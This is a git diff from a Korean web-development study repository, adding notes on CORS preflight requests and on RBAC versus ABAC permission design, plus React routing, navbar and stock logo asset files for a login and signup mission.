+  - `PUT` 요청을 보낼 때 브라우저는 왜 먼저 `OPTIONS` 요청을 보내나요? 이때 브라우저가 보내는 헤더와 서버가 응답해야 하는 헤더를 각각 쓰고, 사전 요청과 실제 요청이 어떻게 이어지는지 간단히 서술하세요.
+    - 사전 요청이 필요한 이유
+        <aside>
+        ⚠️
+        
+        단순한 요청에 해당하는 `GET`, `POST`, `HEAD` 메소드가 아닌 `PUT`, `PATCH`, `DELETE` 메소드를 사용하는 경우, 서버는 "요청을 보낸 측이 브라우저가 아닐 수도 있다"고 판단해요. 
+        
+        따라서 브라우저와 서버는 서로를 확인하기 위한 **사전 요청을 먼저 주고받아요.**
+        
+        </aside>
+        
+        💡 **왜 PUT/DELETE는 위험하냐면?
+        -** GET은 데이터를 읽기만 하지만, PUT은 데이터를 수정하고 DELETE는 삭제해요.
+        - 실수로 또는 악의적으로 중요한 데이터가 변경될 수 있어서 더 엄격하게 확인하는 거예요.
+
+    - 브라우저가 보내는 헤더 (OPTIONS 사전 요청)
+        <aside>
+        ⚠️
+        
+        사전 요청은 `OPTIONS` 메소드를 사용하고, 실제 요청과 동일한 URL로 보내며,
+        
+        요청 헤더 `Access-Control-Request-Method`에 사용하려는 메소드(`PUT`)를 명시해요!
+        
+        </aside>
+        
+        ```tsx
+        OPTIONS /resource.json HTTP/1.1
+        Host: localhost:8081
+        Origin: http://localhost:8080
+        Access-Control-Request-Method: PUT    ← "PUT 써도 돼요?"
+        ```
+
+    - 서버가 응답해야 하는 헤더 - “응, `PUT` 써도 돼!”
+        <aside>
+        ⚠️
+        
+        서버가 다른 출처에서 `PUT` 메소드를 허용하려면 `Access-Control-Allow-Methods` 응답 헤더를 설정해야 해요!
+        
+        </aside>
+        
+        ```tsx
+        const handler = (req, res) => {
+          res.setHeader('Access-Control-Allow-Origin', 'http://localhost:8080');
+          res.setHeader('Access-Control-Allow-Headers', 'X-Goguma');
+          // PUT 메소드를 허용
+          res.setHeader('Access-Control-Allow-Methods', 'PUT');
+          static(path.join(__dirname, 'public'))(req, res);
+        };
+        ```
+
+    - 사전 요청 → 실제 요청 전체 흐름
+        <aside>
+        ⚠️
+        
+        사전 요청과 실제 요청의 흐름은 먼저 **사전 요청(OPTIONS)** 단계에서 브라우저가 `Access-Control-Request-Method: PUT`을 보내고 
+        서버가 `Access-Control-Allow-Methods: PUT`으로 응답하여 `PUT` 메소드 사용 허용을 알려요. 
+        
+        그 다음 **실제 요청(PUT)** 이 전송되고 응답 본문이 정상적으로 수신  돼요!
+        
+        </aside>
+        
+        ```tsx
+        ① 브라우저 → 서버: OPTIONS /resource.json
+           (Access-Control-Request-Method: PUT)
+                   ↓
+        ② 서버 → 브라우저: 200 OK
+           (Access-Control-Allow-Methods: PUT)
+                   ↓
+        ③ 브라우저 판단: "PUT 허용됐네!"
+                   ↓
+        ④ 브라우저 → 서버: PUT /resource.json (실제 요청)
+                   ↓
+        ⑤ 서버 → 브라우저: 200 OK + 응답 본문
+                   ↓
+        ⑥ 브라우저: JS에게 응답 데이터 전달 ✅
+        ```
+
+    - 사전 요청도 캐싱 가능!
+      > 매 PUT 요청마다 OPTIONS를 한 번씩 더 보내는 건 낭비 → 캐싱 설정 가능!
+        <aside>
+        ⚠️
+        
+        `Access-Control-Max-Age` 헤더를 설정하면 브라우저가 사전 요청의 응답을 캐시할 수 있어요!
+        
+        </aside>
+        
+        ```tsx
+        res.setHeader('Access-Control-Max-Age', '10'); // 10초간 캐시
+        ```
+        
+        ```tsx
+        첫 번째 PUT 요청:
+          OPTIONS → PUT (사전 요청 발생)
+        
+        10초 이내 두 번째 PUT 요청:
+          PUT만 (OPTIONS 생략! 캐시 사용) ← 네트워크 비용 절감
+        ```
+
+- **📚 블로그 읽고 ABAC 정리해보기 🍠**
+  - **RBAC**의 한계에 대해 설명해주세요.
+    - **RBAC** 란?
+      사람의 **역할(Role)** 을 기준으로 권한을 부여해요. 예시로 `ADMIN이면 글 삭제 가능` 같은 방식!
+    - 한계 점
+      1. 단순한 시작
+
+         ```tsx
+         // 내가 쓴 글만 삭제 가능
+         const canDelete = [user.id](http://user.id/) === challenge.ownerId;
+         ```
+
+         → 쉽고 깔끔함 **RBAC** 의 장점
+
+      2. 요구 사항 추가
+
+         ```tsx
+         // 관리자도 삭제 가능하게
+         const isOwner = user.id === challenge.ownerId;
+         const isAdmin = user.appRole === 'ADMIN';
+         const canDelete = isOwner || isAdmin;
+         ```
+
+         → 조건 하나 더 늘음
+
+      3. 또 추가
+
+         ```tsx
+         // 원장도 자기 학원 학생 글은 삭제 가능
+         const isPrincipal =
+           user.academyRoles[challenge.academyId] === 'PRINCIPAL';
+         const canDelete = isOwner || isAdmin || isPrincipal;
+         ```
+
+         → 조건 꼬이기 시작
+
+      4. 한계 폭발
+
+         ```tsx
+         // 원장인데 삭제 권한 없는 원장도 있음
+         const canPrincipalDelete =
+           isPrincipal &&
+           user.academyRolesDetail[challenge.academyId]?.canDeleteChallenge;
+         const canDelete = isOwner || isAdmin || canPrincipalDelete;
+         ```
+
+         → 역할(PRINCIPAL)만으로는 표현이 안 돼요. 추가 속성이 필요한 상황 옴!
+
+    - 한계 정리!
+      ```tsx
+      RBAC의 한계
+        ├── "역할이 같아도 권한이 다를 수 있음" → 표현 불가
+        ├── "한 사람이 여러 맥락에 속함" → 표현 불가
+        └── "권한 로직이 UI 여기저기에 퍼짐" → 유지보수 지옥
+      ```
+      → 이처럼 심플해서 좋지만, 서비스가 커지면 한계가 옴!
+
+  - **ABAC**으로의 전환, 어떤 '기준'이 적절할까요?
+    - 신호 1: "같은 역할인데 권한이 달라야 해요”
+
+      ```tsx
+      원장(PRINCIPAL) A → 챌린지 삭제 가능
+      원장(PRINCIPAL) B → 챌린지 삭제 불가능
+
+      → 역할이 같은데 권한이 다름
+      → RBAC으로는 표현 불가 → ABAC 전환 신호 🚨
+      ```
+
+    - 신호 2: "맥락(context)에 따라 권한이 달라야 해요”
+
+      ```tsx
+      같은 사람이:
+        A 학원에서는 원장 → 삭제 가능
+        B 학원에서는 학생 → 삭제 불가능
+
+      → 누구냐가 아니라 "어디서, 어떤 상황이냐"가 중요해짐
+      → ABAC 전환 신호 🚨
+      ```
+
+    - 신호 3: "권한 조건 if 문이 3개 이상 겹치기 시작함”
+
+      ```tsx
+      // 이런 코드가 생기기 시작했다면?
+      const canDelete = isOwner || isAdmin || (isPrincipal && canDeleteFlag);
+
+      // 그리고 이게 여러 컴포넌트에 복붙되고 있다면?
+      → ABAC 전환 신호 🚨
+      ```
+
+    - 신호 4: "기획이 바뀔 때마다 코드를 여러 군데 수정해야 함”
+      ```tsx
+      기획 변경 → 5개 파일 열어서 수정 → 하나 빠뜨림 → 버그
+      → ABAC 전환 신호 🚨
+      ```
+    - 전환하지 않아도 되는 경우
+      ```tsx
+      ✅ RBAC으로 충분한 경우:
+        - 권한 조건이 단순함 (역할만으로 표현 가능)
+        - 서비스 초기, 빠른 개발이 우선
+        - 예외 케이스가 거의 없음
+        - 역할이 3개 이하로 단순함
+      ```
+      > 💡 **결론:** "같은 역할인데 다른 권한이 필요한 순간"이 오면 ABAC을 고려하세요. 그 전까지는 RBAC으로 단순하게 가는 게 오히려 좋아요.
+
+  - 어떤 서비스 영역에 **RBAC**을 남겨두고, **ABAC**을 도입하시겠어요?
+      <aside>
+      💡
+      
+      핵심
+      
+      권한을 **앱 전역 권한**과 **학원 권한**으로 분리하고, 각 권한의 세부 액션별로 **boolean 혹은 커스텀 로직**으로 처리하는 방식!
+      
+      </aside>
+      
+      - RBAC을 남겨두기 좋은 영역: 앱 전역 권한
+          
+          ```tsx
+          // ADMIN은 어디서든 뭐든 할 수 있음 → 역할만으로 표현 가능
+          export const APP_ROLES = {
+            ADMIN: {
+              challenges: {
+                view: true,    // 단순 boolean
+                create: true,
+                update: true,
+                delete: true,  // 조건 없이 항상 가능
+              },
+            },
+            ...
+          }
+          ```
+          
+      - RBAC이 적합한 영역
+          
+          ```tsx
+          ✅ 슈퍼 관리자(ADMIN) 권한 → 전부 다 됨, 단순
+          ✅ 완전히 차단된 권한 → 전부 안 됨, 단순
+          ✅ 서비스 전체에 걸쳐 동일하게 적용되는 권한
+          ✅ 예외 없이 역할만으로 판단 가능한 기능
+            예: 관리자 페이지 접근, 서비스 전체 공지 작성 등
+          ```
+          
+      - ABAC을 도입하기 좋은 영역: 맥락이 필요한 권한
+          
+          ```tsx
+          // 원장인데 삭제 권한이 있는 원장만 삭제 가능 → 속성 필요
+          export const ACADEMY_ROLES = {
+            PRINCIPAL: {
+              challenges: {
+                delete: (user, challenge) => {
+                  const role = user.academyRoles[challenge.academyId];
+                  const detail = user.academyRolesDetail?.[challenge.academyId];
+                  return role === 'PRINCIPAL' && detail?.canDeleteChallenge === true;
+                  // 역할(PRINCIPAL) + 속성(canDeleteChallenge) 조합
+                },
+              },
+            },
+          }
+          ```
+          
+      - ABAC이 적합한 영역
+          
+          ```tsx
+          ✅ 콘텐츠 소유권이 필요한 기능
+            예: "내가 쓴 글만 수정 가능"
+          
+          ✅ 소속/맥락에 따라 권한이 달라지는 기능
+            예: "내 학원의 학생 글만 삭제 가능"
+          
+          ✅ 세밀한 권한 플래그가 필요한 기능
+            예: "원장 중에서 canDeleteChallenge=true인 원장만"
+          
+          ✅ 차단(block) 같은 관계 기반 권한
+            예: "나를 차단한 사람의 글은 못 봄"
+          ```
+          
+      - 실제 설계 예시
+          
+          ```tsx
+          앱 전역 권한 (RBAC 스타일)
+            ADMIN → 모든 것 허용 (boolean true)
+            USER  → 기본 권한만
+          
+          학원별 권한 (ABAC 스타일)
+            PRINCIPAL + canDeleteChallenge=true → 챌린지 삭제 가능
+            TEACHER → 챌린지 삭제 불가
+            STUDENT → 본인 글만 삭제 가능
+          ```
+          
+      
+      > 💡 **핵심
+      :** RBAC과 ABAC은 대체 관계가 아니에요. **단순한 건 RBAC으로, 복잡한 건 ABAC으로** 함께 쓰는 게 가장 현실적인 답이에요!
+      >
+
+  - 여러분들은 다른 부서에서 요청을 받았을 때 어떤식으로 행동하실 건가요?
+    1. 확장 가능성을 먼저 물어보기
+    2. 요청을 분석할 때: "역할"인지 "속성"인지 파악하기
+
+       ```tsx
+       "원장은 삭제 가능"
+       → 역할(PRINCIPAL)만으로 표현 가능
+       → RBAC으로 처리 가능
+       ```
+
+       ```tsx
+       "삭제 권한이 있는 원장만 삭제 가능"
+       → 역할(PRINCIPAL) + 속성(canDeleteChallenge)
+       → ABAC 필요 → 백엔드에 데이터 요청 필요
+       ```
+
+    3. 구현할 때: 권한 로직을 한 곳에 모으기
+
+       ```tsx
+       리팩토링 후에는 권한 조건이 UI에 섞이지 않고 권한 테이블에만 정의되어 있어서
+       어디서든 일관되게 hasPermission 한 줄로 체크를 할 수 있어요
+
+       // ❌ 요청마다 UI에 조건을 추가하는 방식
+       const canDelete = isOwner || isAdmin || (isPrincipal && canDeleteFlag);
+
+       // ✅ 권한 테이블만 수정하고 호출은 항상 한 줄
+       const canDelete = hasPermission(user, 'challenges', 'delete', challenge);
+       ```
+
+    4. 배포 후에도: 테스트 코드로 안전망 확보
+
+       ```tsx
+       // 새 요청이 들어와서 권한 테이블을 수정했을 때
+       // 기존 케이스가 망가지지 않았는지 테스트로 검증
+       it('ADMIN은 어떤 챌린지든 삭제할 수 있다', () => {
+         expect(hasPermission(관리자, 'challenges', 'delete', 챌린지)).toBe(
+           true,
+         );
+       });
+       ```
diff --git a/mission/chapter05/mission_1/src/App.css b/mission/chapter05/mission_1/src/App.css
new file mode 100644
index 0000000..e69de29
diff --git a/mission/chapter05/mission_1/src/App.tsx b/mission/chapter05/mission_1/src/App.tsx
new file mode 100644
index 0000000..9976985
--- /dev/null
+++ b/mission/chapter05/mission_1/src/App.tsx
@@ -0,0 +1,48 @@
+import './App.css';
+import { createBrowserRouter, RouterProvider } from 'react-router-dom';
+import HomeLayout from './layouts/HomeLayout';
+import NotFound from './pages/NotFoundPage';
+import LoginPage from './pages/LoginPage';
+import HomePage from './pages/HomePage';
+import SignupPage from './pages/SignupPage';
+import MyPage from './pages/MyPage';
+import ProtectedRoute from './components/ProtectedRoute';
+import { AuthProvider } from './context/AuthContext';
+
+const router = createBrowserRouter([
+  {
+    path: '/',
+    element: <HomeLayout />,
+    errorElement: <NotFound />,
+    children: [
+      { index: true, element: <HomePage /> },
+      {
+        path: 'mypage',
+        element: (
+          <ProtectedRoute>
+            <MyPage />
+          </ProtectedRoute>
+        ),
+      },
+    ],
+  },
+  {
+    path: '/login',
+    element: <LoginPage />,
+    errorElement: <NotFound />,
+  },
+  {
+    path: '/signup',
+    element: <SignupPage />,
+    errorElement: <NotFound />,
+  },
+]);
+function App() {
+  return (
+    <AuthProvider>
+      <RouterProvider router={router} />
+    </AuthProvider>
+  );
+}
+
+export default App;
diff --git a/mission/chapter05/mission_1/src/assets/hero.png b/mission/chapter05/mission_1/src/assets/hero.png
new file mode 100644
index 0000000..cc51a3d
Binary files /dev/null and b/mission/chapter05/mission_1/src/assets/hero.png differ
diff --git a/mission/chapter05/mission_1/src/assets/react.svg b/mission/chapter05/mission_1/src/assets/react.svg
new file mode 100644
index 0000000..6c87de9
--- /dev/null
+++ b/mission/chapter05/mission_1/src/assets/react.svg
@@ -0,0 +1 @@
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" aria-hidden="true" role="img" class="iconify iconify--logos" width="35.93" height="32" preserveAspectRatio="xMidYMid meet" viewBox="0 0 256 228"><path fill="#00D8FF" d="M210.483 73.824a171.49 171.49 0 0 0-8.24-2.597c.465-1.9.893-3.777 1.273-5.621c6.238-30.281 2.16-54.676-11.769-62.708c-13.355-7.7-35.196.329-57.254 19.526a171.23 171.23 0 0 0-6.375 5.848a155.866 155.866 0 0 0-4.241-3.917C100.759 3.829 77.587-4.822 63.673 3.233C50.33 10.957 46.379 33.89 51.995 62.588a170.974 170.974 0 0 0 1.892 8.48c-3.28.932-6.445 1.924-9.474 2.98C17.309 83.498 0 98.307 0 113.668c0 15.865 18.582 31.778 46.812 41.427a145.52 145.52 0 0 0 6.921 2.165a167.467 167.467 0 0 0-2.01 9.138c-5.354 28.2-1.173 50.591 12.134 58.266c13.744 7.926 36.812-.22 59.273-19.855a145.567 145.567 0 0 0 5.342-4.923a168.064 168.064 0 0 0 6.92 6.314c21.758 18.722 43.246 26.282 56.54 18.586c13.731-7.949 18.194-32.003 12.4-61.268a145.016 145.016 0 0 0-1.535-6.842c1.62-.48 3.21-.974 4.76-1.488c29.348-9.723 48.443-25.443 48.443-41.52c0-15.417-17.868-30.326-45.517-39.844Zm-6.365 70.984c-1.4.463-2.836.91-4.3 1.345c-3.24-10.257-7.612-21.163-12.963-32.432c5.106-11 9.31-21.767 12.459-31.957c2.619.758 5.16 1.557 7.61 2.4c23.69 8.156 38.14 20.213 38.14 29.504c0 9.896-15.606 22.743-40.946 31.14Zm-10.514 20.834c2.562 12.94 2.927 24.64 1.23 33.787c-1.524 8.219-4.59 13.698-8.382 15.893c-8.067 4.67-25.32-1.4-43.927-17.412a156.726 156.726 0 0 1-6.437-5.87c7.214-7.889 14.423-17.06 21.459-27.246c12.376-1.098 24.068-2.894 34.671-5.345a134.17 134.17 0 0 1 1.386 6.193ZM87.276 214.515c-7.882 2.783-14.16 2.863-17.955.675c-8.075-4.657-11.432-22.636-6.853-46.752a156.923 156.923 0 0 1 1.869-8.499c10.486 2.32 22.093 3.988 34.498 4.994c7.084 9.967 14.501 19.128 21.976 27.15a134.668 134.668 0 0 1-4.877 4.492c-9.933 8.682-19.886 14.842-28.658 17.94ZM50.35 144.747c-12.483-4.267-22.792-9.812-29.858-15.863c-6.35-5.437-9.555-10.836-9.555-15.216c0-9.322 13.897-21.212 37.076-29.293c2.813-.98 5.757-1.905 8.812-2.773c3.204 10.42 7.406 21.315 12.477 32.332c-5.137 11.18-9.399 22.249-12.634 32.792a134.718 134.718 0 0 1-6.318-1.979Zm12.378-84.26c-4.811-24.587-1.616-43.134 6.425-47.789c8.564-4.958 27.502 2.111 47.463 19.835a144.318 144.318 0 0 1 3.841 3.545c-7.438 7.987-14.787 17.08-21.808 26.988c-12.04 1.116-23.565 2.908-34.161 5.309a160.342 160.342 0 0 1-1.76-7.887Zm110.427 27.268a347.8 347.8 0 0 0-7.785-12.803c8.168 1.033 15.994 2.404 23.343 4.08c-2.206 7.072-4.956 14.465-8.193 22.045a381.151 381.151 0 0 0-7.365-13.322Zm-45.032-43.861c5.044 5.465 10.096 11.566 15.065 18.186a322.04 322.04 0 0 0-30.257-.006c4.974-6.559 10.069-12.652 15.192-18.18ZM82.802 87.83a323.167 323.167 0 0 0-7.227 13.238c-3.184-7.553-5.909-14.98-8.134-22.152c7.304-1.634 15.093-2.97 23.209-3.984a321.524 321.524 0 0 0-7.848 12.897Zm8.081 65.352c-8.385-.936-16.291-2.203-23.593-3.793c2.26-7.3 5.045-14.885 8.298-22.6a321.187 321.187 0 0 0 7.257 13.246c2.594 4.48 5.28 8.868 8.038 13.147Zm37.542 31.03c-5.184-5.592-10.354-11.779-15.403-18.433c4.902.192 9.899.29 14.978.29c5.218 0 10.376-.117 15.453-.343c-4.985 6.774-10.018 12.97-15.028 18.486Zm52.198-57.817c3.422 7.8 6.306 15.345 8.596 22.52c-7.422 1.694-15.436 3.058-23.88 4.071a382.417 382.417 0 0 0 7.859-13.026a347.403 347.403 0 0 0 7.425-13.565Zm-16.898 8.101a358.557 358.557 0 0 1-12.281 19.815a329.4 329.4 0 0 1-23.444.823c-7.967 0-15.716-.248-23.178-.732a310.202 310.202 0 0 1-12.513-19.846h.001a307.41 307.41 0 0 1-10.923-20.627a310.278 310.278 0 0 1 10.89-20.637l-.001.001a307.318 307.318 0 0 1 12.413-19.761c7.613-.576 15.42-.876 23.31-.876H128c7.926 0 15.743.303 23.354.883a329.357 329.357 0 0 1 12.335 19.695a358.489 358.489 0 0 1 11.036 20.54a329.472 329.472 0 0 1-11 20.722Zm22.56-122.124c8.572 4.944 11.906 24.881 6.52 51.026c-.344 1.668-.73 3.367-1.15 5.09c-10.622-2.452-22.155-4.275-34.23-5.408c-7.034-10.017-14.323-19.124-21.64-27.008a160.789 160.789 0 0 1 5.888-5.4c18.9-16.447 36.564-22.941 44.612-18.3ZM128 90.808c12.625 0 22.86 10.235 22.86 22.86s-10.235 22.86-22.86 22.86s-22.86-10.235-22.86-22.86s10.235-22.86 22.86-22.86Z"></path></svg>
\ No newline at end of file
diff --git a/mission/chapter05/mission_1/src/assets/vite.svg b/mission/chapter05/mission_1/src/assets/vite.svg
new file mode 100644
index 0000000..5101b67
--- /dev/null
+++ b/mission/chapter05/mission_1/src/assets/vite.svg
@@ -0,0 +1 @@
+<svg xmlns="http://www.w3.org/2000/svg" width="77" height="47" fill="none" aria-labelledby="vite-logo-title" viewBox="0 0 77 47"><title id="vite-logo-title">Vite</title><style>.parenthesis{fill:#000}@media (prefers-color-scheme:dark){.parenthesis{fill:#fff}}</style><path fill="#9135ff" d="M40.151 45.71c-.663.844-2.02.374-2.02-.699V34.708a2.26 2.26 0 0 0-2.262-2.262H24.493c-.92 0-1.457-1.04-.92-1.788l7.479-10.471c1.07-1.498 0-3.578-1.842-3.578H15.443c-.92 0-1.456-1.04-.92-1.788l9.696-13.576c.213-.297.556-.474.92-.474h28.894c.92 0 1.456 1.04.92 1.788l-7.48 10.472c-1.07 1.497 0 3.578 1.842 3.578h11.376c.944 0 1.474 1.087.89 1.83L40.153 45.712z"/><mask id="a" width="48" height="47" x="14" y="0" maskUnits="userSpaceOnUse" style="mask-type:alpha"><path fill="#000" d="M40.047 45.71c-.663.843-2.02.374-2.02-.699V34.708a2.26 2.26 0 0 0-2.262-2.262H24.389c-.92 0-1.457-1.04-.92-1.788l7.479-10.472c1.07-1.497 0-3.578-1.842-3.578H15.34c-.92 0-1.456-1.04-.92-1.788l9.696-13.575c.213-.297.556-.474.92-.474H53.93c.92 0 1.456 1.04.92 1.788L47.37 13.03c-1.07 1.498 0 3.578 1.842 3.578h11.376c.944 0 1.474 1.088.89 1.831L40.049 45.712z"/></mask><g mask="url(#a)"><g filter="url(#b)"><ellipse cx="5.508" cy="14.704" fill="#eee6ff" rx="5.508" ry="14.704" transform="rotate(269.814 20.96 11.29)scale(-1 1)"/></g><g filter="url(#c)"><ellipse cx="10.399" cy="29.851" fill="#eee6ff" rx="10.399" ry="29.851" transform="rotate(89.814 -16.902 -8.275)scale(1 -1)"/></g><g filter="url(#d)"><ellipse cx="5.508" cy="30.487" fill="#8900ff" rx="5.508" ry="30.487" transform="rotate(89.814 -19.197 -7.127)scale(1 -1)"/></g><g filter="url(#e)"><ellipse cx="5.508" cy="30.599" fill="#8900ff" rx="5.508" ry="30.599" transform="rotate(89.814 -25.928 4.177)scale(1 -1)"/></g><g filter="url(#f)"><ellipse cx="5.508" cy="30.599" fill="#8900ff" rx="5.508" ry="30.599" transform="rotate(89.814 -25.738 5.52)scale(1 -1)"/></g><g filter="url(#g)"><ellipse cx="14.072" cy="22.078" fill="#eee6ff" rx="14.072" ry="22.078" transform="rotate(93.35 31.245 55.578)scale(-1 1)"/></g><g filter="url(#h)"><ellipse cx="3.47" cy="21.501" fill="#8900ff" rx="3.47" ry="21.501" transform="rotate(89.009 35.419 55.202)scale(-1 1)"/></g><g filter="url(#i)"><ellipse cx="3.47" cy="21.501" fill="#8900ff" rx="3.47" ry="21.501" transform="rotate(89.009 35.419 55.202)scale(-1 1)"/></g><g filter="url(#j)"><ellipse cx="14.592" cy="9.743" fill="#8900ff" rx="4.407" ry="29.108" transform="rotate(39.51 14.592 9.743)"/></g><g filter="url(#k)"><ellipse cx="61.728" cy="-5.321" fill="#8900ff" rx="4.407" ry="29.108" transform="rotate(37.892 61.728 -5.32)"/></g><g filter="url(#l)"><ellipse cx="55.618" cy="7.104" fill="#00c2ff" rx="5.971" ry="9.665" transform="rotate(37.892 55.618 7.104)"/></g><g filter="url(#m)"><ellipse cx="12.326" cy="39.103" fill="#8900ff" rx="4.407" ry="29.108" transform="rotate(37.892 12.326 39.103)"/></g><g filter="url(#n)"><ellipse cx="12.326" cy="39.103" fill="#8900ff" rx="4.407" ry="29.108" transform="rotate(37.892 12.326 39.103)"/></g><g filter="url(#o)"><ellipse cx="49.857" cy="30.678" fill="#8900ff" rx="4.407" ry="29.108" transform="rotate(37.892 49.857 30.678)"/></g><g filter="url(#p)"><ellipse cx="52.623" cy="33.171" fill="#00c2ff" rx="5.971" ry="15.297" transform="rotate(37.892 52.623 33.17)"/></g></g><path d="M6.919 0c-9.198 13.166-9.252 33.575 0 46.789h6.215c-9.25-13.214-9.196-33.623 0-46.789zm62.424 0h-6.215c9.198 13.166 9.252 33.575 0 46.789h6.215c9.25-13.214 9.196-33.623 0-46.789" class="parenthesis"/><defs><filter id="b" width="60.045" height="41.654" x="-5.564" y="16.92" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="7.659"/></filter><filter id="c" width="90.34" height="51.437" x="-40.407" y="-6.762" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="7.659"/></filter><filter id="d" width="79.355" height="29.4" x="-35.435" y="2.801" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="e" width="79.579" height="29.4" x="-30.84" y="20.8" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="f" width="79.579" height="29.4" x="-29.307" y="21.949" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="g" width="74.749" height="58.852" x="29.961" y="-17.13" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="7.659"/></filter><filter id="h" width="61.377" height="25.362" x="37.754" y="3.055" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="i" width="61.377" height="25.362" x="37.754" y="3.055" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="j" width="56.045" height="63.649" x="-13.43" y="-22.082" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="k" width="54.814" height="64.646" x="34.321" y="-37.644" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="l" width="33.541" height="35.313" x="38.847" y="-10.552" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="m" width="54.814" height="64.646" x="-15.081" y="6.78" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="n" width="54.814" height="64.646" x="-15.081" y="6.78" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="o" width="54.814" height="64.646" x="22.45" y="-1.645" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="p" width="39.409" height="43.623" x="32.919" y="11.36" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter></defs></svg>
diff --git a/mission/chapter05/mission_1/src/components/Navbar.tsx b/mission/chapter05/mission_1/src/components/Navbar.tsx
new file mode 100644
index 0000000..c22c0bb
--- /dev/null
+++ b/mission/chapter05/mission_1/src/components/Navbar.tsx
@@ -0,0 +1,60 @@
+import { useNavigate } from 'react-router-dom';
+import { useAuth } from '../context/AuthContext';
+const Navbar = () => {
+  const navigate = useNavigate();
+  const { user, logout } = useAuth();
+
+  return (
+    <nav className="flex items-center justify-between px-6 py-4 border-b border-gray-200">
+      {/* 로고 */}
+      <div
+        className="font-bold text-lg cursor-pointer"
+        onClick={() => navigate('/')}
+      >
+        홈
+      </div>
+
+      {/* 버튼 영역 */}
+      <div className="flex gap-2">
+        {user ? (
+          //로그인 된 상태
+          <div className="flex items-center gap-3">
+            <span
+              className="text-gray-600 cursor-pointer hover:text-blue-400 transition-colors"
+              onClick={() => navigate('/mypage')}
+            >
+              마이페이지
+            </span>
+            <button
+              onClick={() => {
+                logout();
+                navigate('/');
+              }}
+              className="px-4 py-2 text-sm border border-gray-300 rounded-md hover:bg-gray-100 transition-colors"
+            >
+              로그아웃
+            </button>
+          </div>
+        ) : (
+          // 로그인 안 된 상태
+          <>
+            <button
+              onClick={() => navigate('/login')}
+              className="px-4 py-2 text-sm border border-gray-300 rounded-md hover:bg-gray-100 transition-colors"
+            >
+              로그인
+            </button>
+            <button
+              onClick={() => navigate('/signup')}
+              className="px-4 py-2 text-sm bg-blue-300 text-white rounded-md hover:bg-blue-500 transition-colors"
+            >
+              회원가입
+            </button>
+          </>
+        )}
+      </div>
+    </nav>
+  );
+};
+
+export default Navbar;
diff --git a/mission/chapter05/mission_1/src/components/ProtectedRoute.tsx b/mission/chapter05/mission_1/src/components/ProtectedRoute.tsx
new file mode 100644
index 0000000..0fffe2d
--- /dev/null
+++ b/mission/chapter05/mission_1/src/components/ProtectedRoute.tsx
